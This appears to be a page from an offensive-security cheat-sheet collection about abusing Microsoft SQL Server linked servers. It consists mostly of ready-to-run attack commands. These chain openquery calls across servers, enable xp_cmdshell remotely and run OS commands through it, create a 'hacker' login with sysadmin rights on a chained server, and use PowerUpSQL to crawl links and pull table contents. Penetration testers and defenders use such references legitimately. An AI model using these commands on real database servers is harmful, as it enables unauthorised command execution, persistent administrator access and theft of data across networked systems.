InternalAllTheThings/docs/databases/mssql-linked-database.md

MSSQL - Linked Database

Summary

• Find Trusted Link
• Execute Query Through The Link
• Crawl Links for Instances in the Domain
• Crawl Links for a Specific Instance
• Query Version of Linked Database
• Execute Procedure on Linked Database
• Determine Names of Linked Databases
• Determine All the Tables Names from a Selected Linked Database
• Gather the Top 5 Columns from a Selected Linked Table
• Gather Entries from a Selected Linked Column

Find Trusted Link

select * from master..sysservers

Execute Query Through The Link

-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

Crawl Links for Instances in the Domain

A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results

Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
select * from master..sysservers

Crawl Links for a Specific Instance

Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')

Query Version of Linked Database

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose

Execute Procedure on Linked Database

SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";

Determine Names of Linked Databases

tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose

Determine All the Tables Names from a Selected Linked Database

The result is TableName which feeds into following query

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose

Gather the Top 5 Columns from a Selected Linked Table

The results are ColumnName and ColumnValue which feed into following query

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose

Gather Entries from a Selected Linked Column

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose